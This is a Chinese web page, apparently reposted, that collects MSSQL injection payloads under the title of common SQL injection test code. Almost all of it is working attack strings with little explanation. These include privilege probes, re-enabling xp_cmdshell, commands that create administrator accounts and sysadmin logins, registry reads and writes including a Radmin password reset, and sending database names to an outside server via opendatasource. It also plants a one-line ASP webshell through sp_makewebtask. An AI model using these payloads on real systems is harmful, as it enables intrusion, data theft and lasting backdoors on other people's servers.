常用SQL 注入漏洞测试代码

来源:互联网 时间:1970-01-01

     //看看是什么权限的
    and 1=(Select IS_MEMBER('db_owner'))
    And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
    //检测是否有读取某数据库的权限
    and 1= (Select HAS_DBACCESS('master'))
    And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
    数字类型
    and char(124)%2Buser%2Bchar(124)=0
    字符类型
    ' and char(124)%2Buser%2Bchar(124)=0 and ''='
    搜索类型
    ' and char(124)%2Buser%2Bchar(124)=0 and '%'='
    爆用户名
    and user>0
    ' and user>0 and ''='
    检测是否为SA权限
    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
    And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
    检测是不是MSSQL数据库
    and exists (select * from sysobjects);--
    检测是否支持多行
    ;declare @d int;--
    恢复 xp_cmdshell
    ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
    select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
    //-----------------------
    // 执行命令
    //-----------------------
    首先开启沙盘模式:
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
    然后利用jet.oledb执行系统命令
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
    执行命令
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:WINNTsystem32cmd.exe /c net user paf pafpaf /add';--
    EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:1111'
    判断xp_cmdshell扩展存储过程是否存在:
    http://www.0daynet.com/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
    写注册表
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
    REG_SZ
    读注册表
    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon','Userinit'
    读取目录内容
    exec master..xp_dirtree 'c:winntsystem32',1,1
    数据库备份
    backup database pubs to disk = 'c:123.bak'
    //爆出长度
    And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
    更改sa口令方法:用sql综合利用工具连接后,执行命令:
    exec sp_password NULL,'新密码','sa'[nextapge]
    添加和删除一个SA权限的用户test:
    exec master.dbo.sp_addlogin test,ptlove
    exec master.dbo.sp_addsrvrolemember test,sysadmin
    删除扩展存储过过程xp_cmdshell的语句:
    exec sp_dropextendedproc 'xp_cmdshell'
    添加扩展存储过过程
    EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:winntsystem32sqllog.dll'
    GRANT exec On xp_proxiedadata TO public
    停掉或激活某个服务。
    exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'
    dbo.xp_subdirs
    只列某个目录下的子目录。
    xp_getfiledetails 'C:InetpubwwwrootSQLInjectlogin.asp'
    dbo.xp_makecab
    将目标多个档案压缩到某个目标档案之内。
    所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
    dbo.xp_makecab
    'c: est.cab','mszip',1,
    'C:InetpubwwwrootSQLInjectlogin.asp',
    'C:InetpubwwwrootSQLInjectsecurelogin.asp'
    xp_terminate_process
    停掉某个执行中的程序,但赋予的参数是 Process ID。
    利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
    xp_terminate_process 2484
    xp_unpackcab
    解开压缩档。
    xp_unpackcab 'c: est.cab','c: emp',1
    某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdminv2.0ServerParameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMRAdminv2.0ServerParameters','port','REG_BINARY',0xd20400 则端口值改为1234
    create database lcx;
    Create TABLE ku(name nvarchar(256) null);
    Create TABLE biao(id int NULL,name nvarchar(256) null);
    //得到数据库名
    insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
    //在Master中创建表,看看权限怎样
    Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
    用 sp_makewebtask直接在web目录里写入一句话马:
    <A href="http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:www t88.asp','%20select%20''''%20'">http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:www t88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
    //更新表内容
    Update films SET kind = 'Dramatic' Where id = 123
    //删除内容
    delete from table_name where Stockid = 3

相关阅读:
Top